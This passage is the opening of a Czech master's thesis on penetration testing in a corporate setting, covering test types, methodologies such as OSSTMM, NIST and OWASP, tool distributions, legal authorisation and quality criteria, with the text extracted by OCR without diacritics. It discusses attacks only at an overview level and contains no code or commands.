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ABSTRAKT

Cilem této diplomové prace je popsat problematiku bezpecnostnich auditi a penetracnich

testll ve firemnim prostredi.

Teoreticka cast vysvétluje, ze kterych norem penetracni test vychdzi a pfinasi strucny

ptehled aktudlnich hrozeb v oblasti IT.

Prakticka ¢ast se pak zabyva vytvoifenim metodiky penetracniho testu, kterda zohlednuje
aktudlni hrozby. Pomoci vytvoiené metodiky je nasledné proveden penetracni test
V realném firemnim prostiedi. Soucasti testu je zavéreCna zprava, kterd byla ptedana
vedeni spolecnost. Zprdva obsahuje analyzu zabyvajici se hrozbami nalezenymi pfi
testovani, moznym negativnim dopadem na spole¢nost a zplsoby obrany proti témto

hrozbam.

Kli¢ova slova: penetra¢ni test, DoS, XSS, Apache, SQL, Wi-Fi, OSSTMM, hrozba,
PDCA, BackTrack, sociotechnika, fyzicka bezpec¢nost, eticky hacking, WEP, WPA, hacker

ABSTRACT

The aim of this thesis is to describe the problems of security audits and penetration testing

in the corporate environment.

The theoretical part explains on which standards of penetration test is based and at the

same time it presents a brief overview of the current threats in IT.

The practical part of the study deals with creating of penetration test methodology that
reflects on current threats. By creating a methodology is then performed penetration test in
the real business environment. The test is the final report, which was submitted to the
management company. The report contains an analysis of threat researchers discovered
during testing, the potential negative impact on society and the ways of defending against

these threats.

Keywords: penetration test, DoS, XSS, Apache, SQL, Wi-Fi, OSSTMM, threat, PDCA,
BackTrack, sociotechnical, physical security, ethical hacking, WEP, WPA, hacker
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UvVOD

Informatika piedstavuje nejrychleji se rozvijejici obor celého pramyslu. Doslova kazdy
den je predstavena n¢jaka nova technologie, software ¢i hardware. Stejné Casto se vSak
objevuji i nové bezpecnostni slabiny, jez predstavuji cestu k ziskani cennych informaci ¢i

novych zdrojt.

Zabezpeceni informaci je tak pro soudobou spolecnost velice aktualnim tématem a jednim
z hlavnich odvétvi celého pocitacového primyslu. Protoze se plosné vyuzivani
informacnich a komunikacénich technologii stalo pro spolecnost typické, kazda organizace
stoji pred ukolem, jak nejlépe ochranit sva aktiva — a to nejen pred jejich pfipadnym
zneuzitim a vyraznym sniZenim hodnoty, ale také pted celkovym ohrozenim svého

fungovani.

Predpokladem efektivniho a uspé$ného rozvoje organizace je znalost skute¢ného stavu
Z hlediska informatiky, jejiho celkového procesudlniho fungovani a fizeni. Pravé napojeni

a fizeni na déje ve firmé se stava jednim z kli€¢ovych prvkii celého managementu.

Kazd4 organizace by si m¢la vymezit svou vlastni bezpecnostni politiku a v ni definovat
bezpe¢nostni pravidla a opatieni proti ztrat€¢ dulezitych citlivych informaci. Témi
rozumime cokoliv, co by mohl potencidlni Uto¢nik zneuzit ithned (napt. telefonni Cisla,
¢isla kreditnich karet nebo hesla), pfipadné pozdéji, a to za uGelem ziskani dalSich
divérnych informaci. Nestaci vSak pouze pasivné dodrZzovat bezpecnostni pravidla, ale

také zabezpeceni testovat, nejlépe v predem stanovenych cyklech.

Soucasti bezpecnostni politiky organizace by se proto mély stat opakované penetracni
testy, nebot’ predstavuji ti€innou metodu pii tvorbé bezpecnostnich systému. Jde o pla-
nované a fizené pouZiti soucasnych uto¢nych technik a taktik. PouZivaji se k proniknuti do
sitové infrastruktury a celkového systému za tim Ucelem, aby odhalily slabiny jejich
zabezpeceni. Tento ,,eticky hacking® vyZaduje stejné znalosti a schopnosti, jaké pouzivaji
hackefi, avSak s tim rozdilem, ze odhalené chyby nejsou vyuzity k vlastnimu prospéchu,
ale k pouceni a zajiSténi napravy. Vysledek penetra¢niho testu totiz ptredlozi aktudlni

informaci o stavu systému a nabidne realné ovéfeni nastavené bezpecnostni politiky.
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Hlavnim cilem diplomové prace je provedeni penetraéniho testu v realném firemnim
prostiedi, a to s ohledem na aktualni bezpecnostni hrozby a s dodrzenim ¢eskych norem pfi

budovani firemni bezpecnosti.

Protoze si zékaznik neptal, aby bylo jméno testované spolecnosti v diplomové praci
zvetejnéno, jsou nekteré udaje anonymizovany a upraveny, a pro spolecnost je pouzit
pracovni nazev Nsol, s.r.o. Nicmén¢ dulezita data a postupy bezpecnostniho auditu jsou

zcela autentické.

Cely proces penetrac¢niho testovani je v praci popsan se vSemi detaily, které se v pribchu
testu vyskytly. K tomuto ucelu jsou vyuzity vybrané hackerské techniky vhodné praveé pro
audit dané spolecnosti. Zjisténé slabiny jsou pak vyhodnoceny z hlediska aktudlnosti
a stejné tak je pfistupovano k navrzenym moznostem jejich zabezpec€eni, nebot” po zajisténi

nalezenych chyb vznikaji postupem Casu chyby nové.
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. TEORETICKA CAST
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1 PROBLEMATIKA PENETRACNICH TESTU

1.1 Co je penetracni test

Penetracni test neni vlastn¢ ni¢im jinym nez napodobenim utoku hackera, ktery planovité
vyuzije utocnych technik a taktik k tomu, aby pronikl do firemni infrastruktury. Jde o skla-
dani stfipka informaci do sebe tak, aby byl tester schopen co nejefektivnéji odhalit slabiny
systému a potencidlnimu uto¢nikovi dal co nejméné moznosti byt uspésny. Penetracni test
je jednou z vyznamnych metod, jak odhalit, Ze se systém nebo aplikace chova jinak, nez je
deklarovano — za jistych okolnosti dojde ke zhrouceni, zahlceni, odcizeni citlivych
informaci a firemniho know-how, je mozné obejit formalné velmi piisné bezpecnostni

mechanismy, nalezenou slabinu lze zneuzit apod.

Je soucasti bezpecnostni analyzy, pfi které jsou za pomoci riznych nastroji softwaru (SW)
a hardwaru (HW) provadény pokusy o prinik do rtiznych ¢asti informa¢niho systému (dale
IS) at’ uz zvendi, ¢i zevnitf. Vysledkem pak je odhaleni slabych mist v ochrané IS. Testy se
provadéji na zékladeé expertnich zkuSenosti metodou ,.etického hackingu® a ve shod¢ s
normami CSN ISO/IEC 17799:2006, CSN ISO/IEC 27001:2005 a CSN ISO/IEC
27006:2013.

Testovani je dulezitou soucasti bezpecnostni analyzy, jejimz vysledkem by mélo byt
odhaleni slabych mist v systému, sitové infrastruktufe, lidskych zdrojich a fyzickém
zabezpeceni. Vyhledavaji se a aplikuji metody pro napadeni informac¢niho systému tak, jak
by k tomu mohlo potencialn€ dojit pfi projevech pocitacové kriminality. Provéii se tak
zabezpeceni IS vici napadeni a soucasné se proveéfované organizaci ukdze, kde ma slaba
mista a kudy mize byt informacni systém napaden. Soucasti analyzy je vystupni report

vcetné doporuceni pro zajisténi maximalni bezpecnosti vSech testovanych Casti systému.

Utok mize byt sméfovan z vnjsku (z vefejné sité) na sitové prvky firemni infrastruktury —
firewall, bezdratové sité, mobilni zatizeni, webové servery apod. Z vnitiku pak jde o utok
na sitovou infrastrukturu, intranetové systémy, lokalni PC, nebo dals§i zranitelnd mista
systému. Vnitini prinik provadi fyzicky pfitomny uto¢nik, kterému se podatilo ptipojit
vlastni pocita¢ do interni sité nebo ziskat fyzicky ptistup k pocitaci ¢i serveriim v konkrétni
siti. Uto¢nik ale také muze zneuZit divéfivosti uZivatele, oklamat jej a podsunout mu
néjaky spustitelny kod, pomoci kterého ovladne jeho pocita¢ — vyuzije tedy metodu tzv.

socialniho inZenyrstvi.
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1.2 Spravny okamzik pro provedeni penetracniho testu

Novy firewall, moderni systém ¢i pravidelné¢ aktualizovany antivirovy program nejsou
zarukou dostatecné ochrany, a¢ si to fada spoleCnosti mysli a penetracni testy odklada
pravé pod témito a jinymi podobnymi zdminkami. K napadeni pocitacii ale mize dojit
Vv podstaté kdykoliv, naptiklad lavinovym rozsifenim infikovaného emailu, prohlizenim
nakazeného média nebo proklikem na link, jenZ je smérovan na stranky s nezadoucim

kodem.

1.3 Mozné §kody zptisobené titoénikem

1) Nedostupnost sluzby — typy ttok Denial of Service (DoS) nebo Distributed Denial od
Service (DDoS) zptsobi, Ze napadena sluzba piestane obsluhovat legitimni pozadavky

uzivateld.

2) Neopravnény piistup — vysledkem tutoku mize byt situace, kdy uto¢nik ziska
neopravnény piistup k zafizeni, serveru, sluzbé ¢i datim, a to mu ndsledné¢ umozni
provadét neautorizované zmény v konfiguraci, mazani nebo modifikaci souborti (Casto
byva takto napadeny server vyuzivan jako zakladna pro provadéni utokti na dalsi

zafizeni).

3) Ziskani divérnych informaci — dojde k napadeni citlivych informaci, jako jsou naptiklad

seznamy uzivatelskych jmen a hesel, uCetnictvi, cenikti nebo tieba mezd.

4) ZnedlUvéryhodnéni napaden¢ho cile — nekalé praktiky v rdmci konkurenéniho boje

(nejen na firemni Grovni, ale také na irovni statni).

1.4 Dilezitost penetrac¢nich testi

Uroven zabezpeceni firemni sité¢ (Wi-Fi 1 klasické datové) se ovétuje realizaci penetracnich
testll. Testy by mély ovétit odolnost jak viici Gtokiim ze svéta vnéjsiho, tak vici ttokiim

vnitinim (Gtokdm vlastnich zaméstnancti). Diivody jsou zejména financni.

Na zékladé mnoha studii analyzujicich vySku finan¢nich ztrat zptsobenych odcizenim
internich a citlivych firemnich dokumentii totiz bylo zjisténo, Ze ztraty nejsou
zanedbatelné. Dikazem miZe byt studie 2011 Cost of Data Breach Study,? ve které byly
analyzovany Cetnosti pficin, které firmy uvadéji jako hlavni diivod ztraty a odcizeni
citlivych dat. Vysledky testi je pak mozné pouzit jako diikkaz divéryhodnosti pro

potencialni investory a obchodni partnery, piipadné akvizice ¢i certifikace.
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1.5 Cile penetracnich testu

Hlavnim tukolem penetratniho testu je ovéfeni urovné zabezpeCeni. Samoziejmé je
nemozné odhalit vSechna zranitelna mista, nebot’ moznosti jsou limitovany ptid€lenymi
prosttedky (finance, Cas, personal). Test se proto zamétuje zejména na takové chyby a zra-

nitelna mista, kterd pro danou spolecnost predstavuji nejvétsi riziko.

1.6 Objekty penetracnich testi

Testovacimu procesu by mélo podléhat vSe, u ¢eho hrozi riziko nezddouciho priniku do
systému, odcizeni dat nebo zplisobni Skody z pohledu podnikatelské aktivity. Jsou jimi
napf.: 3

* vefejné a nevetejné webove aplikace,

* bezdratové site,

* databazové servery,

» doménové radicCe,

* vnitini informace o zaméstnancich, firemnich klientech a firemnim know-how,
* e-mailové servery a schranky,

* piistupova hesla,

» Ulozisté dat a FTP servery,

» softwarové aplikace a informacni systémy.

1.7 Typy testi

Zadna forma testll vSak nikdy nepokryje veikeré moznosti proménnych (100 % kodu),
a tedy ani neodhali veskerd zranitelnd mista v systému. Testovani v prvni fadé slouzi

k eliminaci neimysInych chyb pfi vyvoji systému a aplikaci.

1.7.1 Rozdéleni testii podle zpiisobu provedeni 4

* Manualni testy — jsou bezpecnostnim konzultantem vykondvany manualné. Jejich velkou
vyhodou je moZznost vytvoieni sofistikovanych postupl a testii na miru pro specifické
podminky. Mezi dal$i klady se tadi to, ze je pfimo provadi ¢loveék a ten umi popsat
oblast, zplsob a dlivod testovani. Navic je schopen vysledky interpretovat i nezainte-

resovanym osobam, které¢ nemuseji mit o dané oblasti potfebné znalosti.
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Jako nevyhody se jevi ¢asova narocnost (pravé pro manualni zplisob provadéni testl)
a znalostni ndroc¢nost (znalost pouzivanych ndstroji pro penetracni testy, piehled

V programovacich jazycich jako HTML, SQL, Java Script atd.).

» Automatizované testy — nabizeji vyhody v rychlosti, moznostech, rozsifitelnosti podle
vlastnich potieb, jednoduché verifikovatelnosti a reprodukovatelnosti. Pfi automa-
tizovaném testovani se vyuzivaji nastroje, které byly vytvofeny bezpecnostnimi
specialisty-profesionaly. Aplikace testu v praxi je nenaro¢na na Cas, navic je jednodussi

naucit se pouzivat aplikaci pro provadéni, neni nutné chapat princip celého testu.

Mezi nevyhody je mozné zahrnout nemoznost prezentovat vysledky v uzivatelsky
pojatelné formé, ktera by blize vysvétlila podrobnosti o daném problému. Jako zasadni se
ovSem jevi neschopnost testovat ne¢které typy zranitelnych mist (napt. selhdni lidského

faktoru v ramci dodrzovani bezpecnosti politiky testovaného cile).

* Semiautomatizované testy — jde o kombinaci automatickych a manudlnich testd, jez
predstavuje kompromis mezi obéma formami se snahou o maximalni vyuziti vyhod obou
forem, stejn¢ jako vyvéazeni nevyhod obou forem. Jsou nejpouzivanéjSim typem

penetracnich testi.
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1.7.2 Rozdéleni testii podle irovné znalosti o testovaném systému %)

* Black-box testy (externi penetracni testy) — jsou nejpouzivanéjS$im typem penetracnich
testli. Pracuji na principu simulace vné¢jsiho pristupu utocnika, ktery vSak zna jen vstupy
a potencialni vystupy aplikace, ale nikoliv vnitini strukturu aplikace nebo sité. Pro urceni
vstupti a vystupll testovaného systému je v nckterych ptipadech nezbytné pomérné
rozsahlé prozkoumani. Samotnd funkéni vlastnost systému je pro testujiciho ,.Cernou
skiiftkou®.

Nejcastéji probiha test zpiisobem, ze bezpecnostni konzultant vychazi z informaci bézné
dostupnych libovolnému uzivateli internetu, pfipadné z dodaného seznamu IP adres nebo

dalsich informaci sdélenych odbornym pracovnikem zakaznika.

Obrovskou vyhodou tohoto typu testli je absence znalosti pouZzitého programovaciho
jazyka. Neni vyzadovano ani zpfistupnéni zdrojového kodu, ktery firmy ¢asto drzi v taj-
nosti. Pozitiva pak uzavird vysoka mira variability, tj. moznost prizpiisobit testy na miru

narokiim a pozadavkiim konkrétniho zadavatele.

Mezi nevyhody patii potieba SirSich znalosti testujiciho. Ddle hrozi, Ze nemusi byt
objeveny chyby, jez vyzaduji promyslenéjsi ptistupy, a neni ovétena efektivita (optima-

lizace) kodu.

» White-box testy (interni penetracni testy) — ve srovnani s black-box testy jsou pro tyto
druhy testl typické plné vstupni znalosti. Jde o znalosti architektury a zdrojového kodu
aplikace, v pifipad€ pocitacovych siti o znalosti architektury, typu a poctu pifitomnych
zafizeni a znalost firemni politiky. Test vyZaduje informace o pouZitém programovacim
jazyku a dobfe napsany a okomentovany kod. Pti testovani probihd analyza zdrojového

kodu, ve kterém se hledaji chyby.

Bezpe€nostni  konzultant obvykle simuluje béZného neprivilegovaného uZivatele
(zaméstnance), pfipojené¢ho do vnitini sit¢ zdkaznika, ktery se snazi o neopravnény
pfistup k divérnym informacim spolecnosti. Timto pak prakticky provéti vnitini
bezpecnostni mechanismy, které by mély zaméstnanciim zamezit neopravnéné ziskat,
popfipad¢é zneuZzit interni informace — a to jak Umyslné (napf. ziskédni citlivych dat za
ucelem nasledné ,,nekalé™ Cinnosti), tak neumyslné (napf. nasledkem chyby v imple-

mentaci informacniho systému).
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Hlavni vyhodou je skutecnost, Ze nalezeni potencialniho zranitelného mista (pfi znalosti
kédu nebo struktury sit€) umoziuje tento typ testu ve znacné krat$i dobé. V piipadé
aplikaci je pfidruzenym kladem také optimalizace kdédu, kterou je mozné provést na

zéklad¢ nalezenych chyb a zranitelnych mist.

Jako nevyhoda se jevi pomérné vysoké naro¢nost na testera. Predpoklada se jeho kvalitni
znalost programovaciho jazyka a dostatek Casu, kterou bude testovani vénovat, coz je pak

nepfimym disledkem vysoké ceny testu.

» Grey-box testy — snazi se maximalné vyuzit piednosti a pfinosu testt typu black-box
a white-box. Vyuzivaji se znalosti vnitini logiky aplikace, ale testy probihaji z hlediska

uzivatele nebo potencidlniho tto¢nika (to v ptipadé bezpecnostnich testl).

1.7.3 Rozdéleni testi podle cilovych skupin

* Penetracni testy webovych aplikaci — webové aplikace umoznuji poskytovat informace
nejruznéjsiho charakteru ,,po siti“. Pro komunikaci je potieba klient a server: klient
predstavuje webovy prohlize¢ (napf. Internet Explorer firmy Microsoft, Mozilla nebo
Chrome od spolecnosti Google), server je zastoupen webovou aplikaci Apache (95 %)

a Microsoft IS (2 %); zbytek je tvofen skupinou asi osmi nevelkych projektd (3 %).

Z davodu neustdle se zvySujiciho poctu utokd, které ohrozuji platformy webovych
serverq, je tieba prubézného testovani a vyhodnocovani takovym zptisobem, aby doslo ke
sniZeni rizika zneuziti
K nejcastéjSim formam zajmu Gto¢nikl patii:

= injekce (vkladani kodt SQL, LDAP),

= Cross-Site Scripting (XSS),

= prolomeni zabezpeceni autentifikace a relacniho managementu,

= nezabezpeceni pfimého odkazu na objekt.

* Penetracni testy Wi-Fi siti — v oblasti technického testovani bezdratovych technologii se
provéiuji veskeré aspekty a mozna rizika bezdratové komunikace, kterd zahrnuji
provéieni dostupnosti (pokryti signalem, mozna ruSeni), neopravnény piistup do Wi-Fi
sité, mozny odposlech (i Sifrované¢) komunikace, pfipadné dal$i moZnosti neopravnéné

komunikace v takové siti.

Mezi provadéné testy patii naptiklad posouzeni bezpecnostni politiky a relevantnich

expertnich zdrojl, zmapovani pokryti signalem, ovéfeni moznosti pfipojeni do WLAN,



UTB ve Zliné, Fakulta aplikované informatiky, 2013 19

test faleSnych bezdratovych siti, testovani ptimych bezdratovych spojt ¢i test dostupnosti

bezdratové sité.

* Penetracni testy s prvky socialniho inzenyrstvi — je obecné zndmo, ze nejslabsim clankem
bezpecnosti je Cloveék. Firma mize mit bezpecné osetfené pristupy, fungujici firewall
I antivirovy program, muze mit poctivé instalované vSechny softwarové zaplaty, mit
Sifrovanou komunikaci, ale pokud néktery ze zaméstnanct sdéli neopravnénému cloveku
své heslo do systému, piipadné€ si nechd odcizit privatni kli¢ certifikatu, je ,,brana
k davérnym firemnim datim dokofan®. Pro uto¢nika je prosté nejjednodussi se na véci,

které chce védét, primo zeptat.

Metody socialniho inzenyrstvi mohou byt vyuzity v e-mailech, formou pretextingu nebo

pishingu.

* Penetracni test fyzické bezpecnosti — v dnes$ni dob¢ jde o velmi podceniovany prvek
bezpecnosti. Jedna se o fyzické zabezpeceni jednotlivych ¢asti systémd tak, aby s nimi
nebylo manipulovano, popt. aby nedoslo k jejich odcizeni. Je také potieba zdiraznit, ze
se nejednd jen o ochranu fyzickych prostfedki, ale také o ochranu zdrojl, a to jak
datovych, tak i silovych (napf. zabezpeceni datovych spojeni nebo ochrana pied

vypadkem proudu).

1.8 Prubéh penetracnich testi

V soucasnosti existuje né€kolik metodik pro provadéni penetracnich testi — bud’ jsou to
voln¢ dostupné (opensourcové) metodiky, anebo metodiky konkrétnich komerénich

spolecnosti, které je udrzuji v utajeni jako své know-how.

1.8.1 OPSTMM

Open-Source Security Testing Methodology Manual (OPSTMM) je volné dostupny online
na webovych strankach http://www.isecom.org/.

Ve

nostnich testil. Jeho aktudlni tfeti verze provéiuje fakta a na jejich zéklad¢ je schopna urcit
hodnotu zabezpeceni. Jde o uceleny pohled na bezpecnost a jeji auditovani. Vénuje se

nasledujicim okruhim:

* Co je tieba védét — Skutecné se provadi to, co by se mélo provadét nebo co nam bylo

feceno?
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* Co je tfeba udélat — Definice toho, co chceme chranit. Typy testi, které¢ budou

provadény. Které nastroje budou pouzity.
* Bezpecnostni analyza — Nutnost podivat se na bezpecnost ze vsech uhli pohledu.

» Méfeni bezpe€nosti na operacni Grovni — Nastaveni urovné hodnot méfeni a jejich

pojmenovani.

» Analyza divéryhodnosti — Zabyva se otdzkou duvéry z pohledu bezpecnosti a vtahy

mezi objekty systému.
* Postupy prace — Provedeni nutného ukonu a jeho kontrola.
* Bezpecnost lidskych zdroji — Penetraéni test metodou socialniho inzenyrstvi.
* Fyzicka bezpecnost — Kontrola fyzického zabezpeceni systému.
* Bezpecnost bezdratovych siti — Zptsob kontroly bezdratovych siti.
* Telekomunikaéni bezpecnost — Zpisob kontroly telekomunikaénich siti.

* BezpeCnost sitového provozu — Zabezpeceni sitového provozu mezi jednotlivymi
¢astmi systému.
* DodrZovani legislativy, norem, doporuceni a politiky.

» Certifikace START — Report podle metodiky OSSTMM. Co mizeme od této metodiky

Cekat.

1.8.2 TGISTA

Technical Guide to Information Security Testing and Assessment ” byl vydan Americkym
narodnim institutem pro standardizaci a technologie a je volné dostupny na webovych

strankéch http://csrc.nist.gov/.

Tento dokument je priivodcem, jenzZ nastifiuje zakladni technické aspekty pro provadéni
a hodnoceni informa¢ni bezpecnosti. To predstavuje provadéni zkusebnich metod a tech-

nik, které mohou mit dopad na stanoveni miry bezpecnosti systémd a siti.

Pokud jsou takovato posouzeni Usp&$na, ma to pozitivni vliv na stav bezpecnosti v celé
spolecnosti.
Navrhy cinnosti, v€etné robustniho procesniho planovani, analyzy pfi€in a reporting na miru

jsou také uvedeny v této prirucce.
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Procesy a technické pokyny uvedené v tomto dokumentu umoziuji organizacim:

* Rozvijet informac¢ni bezpecnost hodnocenim politiky, zdsad a jednotlivych roli véetné

povinnosti vyplyvajicich z technickych aspekti bezpecnosti.

* Stanovit presny plan pro technické posuzovani bezpecnosti informaci, vytvareni

hodnoticiho planu a zajisténi pravni a politické podpory.

* Bezpectné¢ a efektivné provést posouzeni podle predlozenych metod a technik a reagovat

na vSechny udalosti, které mohou nastat v prabéhu hodnoceni.

* Spravné vyhodnotit technické udaje (sbér, ukladani, pienos a zniceni) v celém procesu

posuzovani.
* Provést analyzu a opatteni, ktera zlepsi zabezpeceni organizace.

Informace uvedené v této publikaci jsou ureny k pouZziti pro rizné ucely hodnoceni.
Posuzovani se provadi také pro zlepSeni schopnosti adaptibility. Nejsou urcena jen k pro-
vadéni bezpecnostnich kontrol nebo udrzovani bezpecnosti systému, ale vyuzivaji se také

napiiklad:
* ke zfizeni hodnotici politiky,
* pro zavedeni opakujici se a zdokumentované metodiky hodnoceni,
* ke stanoveni cilll bezpec¢nosti a jejich ovétovani,
* k analyze vysledkd,
* k rozvijeni techniky pro snizovani rizika,

* k feSeni ptipadnych nedostatkd.

1.8.3 OWASP

Jde o metodiku specialné zaméfenou na penetracni testy webovych aplikaci vytvoienou
organizaci OWASP (Open Web Application Security Project), ktera je dostupna na
webovych strankach https://www.owasp.org/.

Projekt se skladd z tisicli ptispévovatell, kteti se aktivné podileji na vytvareni
metodiky a technologie. OWASP se déli na dvé hlavni kategorie, a to na vyvojaiské a doku-

mentacéni projekty.
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Priklady vyvojafskych projekti: ®
» WebScarab — aplikace pro testovani zranitelnosti webovych aplikaci.

« Validation Filters — (Stinger pro J2EE, filtry pro PHP) filtry, které mohou vyvojafi
vyuzit ve svych aplikacich.

» WebGoat — uméle dérava webova aplikace, simulator bezpecnostnich chyb, na némz si

1ze vyzkousSet jejich projevy v bezpecném pravnim prostiedi.
* DotNet — rizné nastroje pro zabezpeceni .NET aplikaci.

* Enigform — rozsifeni browseru Mozilla Firefox (zaméfen na mod openpgp a Secure

Session Management).

* ESAPI-OWASP Enterprise Security APl (ESAPI) Project — soubor metod zabezpeceni,

ktera jsou potiebna pro vybudovani bezpecné webové aplikace.

* AntiSamy — nastroj pro ovéfovani vystupniho a vstupniho kodu.

Ptiklady dokumentacnich projektt: %

*« OWASP Application Security Verification Standard (ASVS) — normalizace rozsahu

pokryti a rovné ,,pfisnosti* na zabezpeceni v roviné ovérovani.
» The Guide — podrobné pokyny pro zabezpeceni webovych aplikaci.
* Top Ten — dokument, ktery pomaha zaméfit se na nejkritictéjs$i problémy.
* Metrics — projekt, ktery definuje metriky zabezpeceni webovych aplikaci.

* Legal — projekt, jenz pomaha prodavajicim i kupujicim sjednat odpovidajici zabezpeceni

ve smlouvach.
» Testing Guide — privodce zaméfeny na testovani zabezpeceni webovych aplikaci.
* ISO 17799 — podklady pro organizaci realizujici ISO 17799.

» AppSec FAQ — ¢asto kladené otazky a odpovédi na poli bezpecnosti webovych aplikaci.

1.9 Nastroje penetra¢niho testovani

Nastroje pro tvorbu penetracnich testu lze najit na webovych strankdch vénujicich se této

problematice, jsou jimi naptiklad:
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» http://docs.kali.org/

* http://www.backtrack-linux.org

« http://www.hackfromacave.com/katana.html

« http://spins.fedoraproject.org/security/

* https://www.owasp.org/index.php/Category:OWASP_Live_CD_Project

Vsechny tyto projekty jsou ucelenymi soubory aplikaci, které jsou vydavany jako
spustitelné ,,7ivé“ CD, jez lze posléze i nainstalovat. U¢elem je shromazdit jednotlivé
nastroje do tematickych celkl tak, aby poskytly uc¢inny nastroj penetracniho testovani.
Uzivatelé ve vétsing ptipadt vyuZzivaji vyhod svéta virtualizace, kde 1ze jednoduse a poho-
din¢ odd¢lit pracovni stanici od té laboratorni. Testovani umoziuje jednoduse simulovat

utok a provétit tak ucinnost hrozby, kterd na systém plisobi.

Podrobnéjsi popis pouzivanych aplikaci bude rozepsan v Kapitole 4 (Navrzena metodika
penetracniho testovani).

1.10 Objekty zajmu penetrac¢niho testovani

Pii bezpecnostnich testech systémové infrastruktury je potfeba zaméfit se zejména na

nasledujici oblasti: 10)

* Penetracni testy externi a interni (scanning, sniffing, redirecting);
+ Simulaci utoku, jeZ je podobna tomu realnému;
* Analyzu zranitelnosti firewalli;
* Kontrolu bezpec¢nostnich pravidel mezi zonami firewalld;
* Analyzu zranitelnosti aktivnich prvk;
* Analyzu zranitelnosti operacnich systémt na serverech a stanicich;
* Analyzu systému zalohovani;
* Analyzu zranitelnosti bezdratovych siti.
Pti penetracnich testech jsou provadény predevsim tyto zkousky: 1)
« Firewally — DoS utoky, zmény smérovani, zranitelnost;
» Backdoory — programy umoznujici ziskani kontroly nad pocitacem;

* CGI skripty — ziskani plné kontroly nad webovym serverem,;


http://docs.kali.org/
http://www.backtrack-linux.org/
http://www.hackfromacave.com/katana.html
http://spins.fedoraproject.org/security/
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* DNS systémy — piedstirani identity sitového zatizent,
* E-mailové systémy — spam;

* FTP systémy — neautorizovany pfistup k souborovému systému a pievzeti kontroly nad

serverem;
* LDAP systémy — zneuziti adresafové sluzby Lightweight Directory Access Protocol,

* Sitové odposlouchévani — umozni jej Spatnad konfigurace aktivnich prvka ¢i nevhodny

design infrastruktury;
* NFS systémy — neautorizovany pfistup k souborovému systému;
* Systémy zalozené na RPC — vzdalené volani procedur (Remote Procedure Call);
* Systémy se sdilenim zdroji — ziskani neautorizovaného ptistupu (Samba, SMB);

* SNMP systémy — bezpecnostni ,,diry*“ v implementaci Simple Network Management

Protocolu v aktivnich prvcich sit¢;

» Databazové systémy — exploitace provadéné na databazovych serverech a ptevzeti

kontroly nad serverem.

1.11 Pravni aspekty penetrac¢nich testu

Pred zahajenim samotného testovani zabezpecovacich mechanismi je nutné toto kon-
zultovat s odpovédnymi osobami a jejich provedeni mit od kompetentnich osob pisemné
schvaleno, nebot’ pfi prolomeni zabezpeceni systému muize byt ziskan pfistup k privatnim
nebo tajnym informacim vlastnika systému. Iniciativni testovani by v jistych pfipadech
mohlo byt klasifikovano dokonce jako trestny €in a posuzovano dle aktualniho trestniho
zakoniku (zdkon ¢.40/2009 Sb., ¢ast druhd, zvlastni ¢ast, § 230 Neopravnény piistup

Kk pocitacovému systému a nosi¢i informaci).

1.12 Potrebna mira testovani

Potiebné je zvolit spravny pocet testli pro oveéfeni urovné zabezpeceni, protoze s kazdym
dal§im testem klesa jeho marginalni pfinos a rostouci rozséhlost a detailnost testli zvySuje
celkovou cenu testovaciho procesu.

,»Kazdy provedeny test, ktery pifinasi informace pod hranici s pozadovanou informacni

Jo 4

hodnotou, je v podstaté zbyteCny a vytvaii pfimé i nepfimé naklady vynalozené navic.
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Stanoveni hranice informac¢ni hodnoty ziskanych vysledki je jedna z tacitnich znalosti, t;.

znalost, kterd se nedé ziskat jinak nez dozivotnimi zkuSenostmi.* 12)

Hloubku testti miize urCovat napiiklad Groven dosazeni opravnéni, ziskani urcitych dat,
pristup k aplikaci nebo systému. Rozhodujici mtize byt také findlni Castka, ktera bude do

zabezpeceni a jeho otestovani investovana.

1.13 Pozadavky na kvalitu provedeni penetracniho testu

Vzhledem k nedostatku technickych detaili o penetracnich testech je rozliSeni kvality
obtizné. Projevi se nejspiSe az ve Skale provedenych testi a kvalité vysledné zpravy. Z té
by mélo byt patrné velmi Siroké spektrum znalosti, které je od bezpecnostniho konzultanta

vyzadovano.

Dulezita je vzdy otdzka, zda mé& dodavatel dostatecné kvalifikované pracovniky, aby
dokazali posoudit bezpecnost pouzitych technologii a jejich konfiguraci. Pouze znalost
technologii je nedostacujici, jsou nutné také zkuSenosti. Dukladné zjisténi znalosti a doved-

nosti je v podstaté nemozné, ptesto lze doporuclit orientacni priizkum odbornych kvalit

pomoci odpovédi na otazky typu: 13)

* M4 vybrany dodavatel dostate¢né kvalifikované pracovniky?

* Uskutecnil dodavatel dostate¢ny pocet penetracnich testt?

* M4 dodavatel zkuSenost s provozovanymi platformami?

* Jaké néstroje pouziva pro testovani?

» Jak bohat4 je jejich skala? Je tyto nastroje schopen vhodné pouzit, kombinovat?
* Vyviji dodavatel vlastni programy pro penetra¢ni testy? Jaké?

» Jaka je struktura dokumentace, ve které jsou shrnuty vysledky testovani?

V piipad€ penetracnich testli se vyplati spoléhat na specialisty. Jedind osoba zcela jisté
nemuze odborn¢ pokryt celou problematiku, a proto je tfeba, aby se bezpecnostni
konzultanti specializovali. Uginek se samoziejmé zvysuje s mnozstvim zkusenosti a s pocti-

vym monitoringem bezpe¢nostnich trendu.

Firma by se méla v€novat vyvoji vlastnich néstrojii pro penetracni testy nebo aktivnimu
hledani bezpecnostnich problému. Jeji aktivita v tomto sméru je dalezitym ukazatelem,

podle kterého 1ze hodnotit kvalitu nabizenych sluzeb.
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1.14 Vysledek penetracniho testu

Vysledek penetracniho testu poskytne obrazek o tom, ¢eho by pii soucasné tirovni opatieni
mohl dosahnout utocnik pfi redlném utoku. Vzhledem k tomu, Ze testujici bezpecnostni
konzultant pouziva velmi podobné nastroje, techniky a postupy jako redlni utocnici, je

hlavnim pfinosem praktické provéieni bezpecnostnich mechanismi.

Skutecnosti ovliviiujici vysledky penetracnich testi: 14

* Faktor casu — pokud bychom srovnavali bezpecnostniho konzultanta provadéjiciho
penetracni test a redlného utoc¢nika, je mozné ptedpokladdat zhruba stejnou uroven
znalosti, pfiblizné€ stejné nastroje, techniky a pouzité postupy. Jedinou zjevnou
nevyhodou je konzultantovo ¢asové omezeni. V porovndni s nim muize realny uto¢nik
pripravé 1 vlastnimu provedeni pokusu o prinik vénovat podstatné vice Casu a tim

vyrazné zvysit své Sance na ,,uspéch®.

 Aktudlnost testli — zjisténi ziskand v ramci penetra¢niho testu vypovidaji o ucinnosti
bezpecnostnich opatfeni pii urovni znalosti a Grovni dostupnych technickych prosttedkti
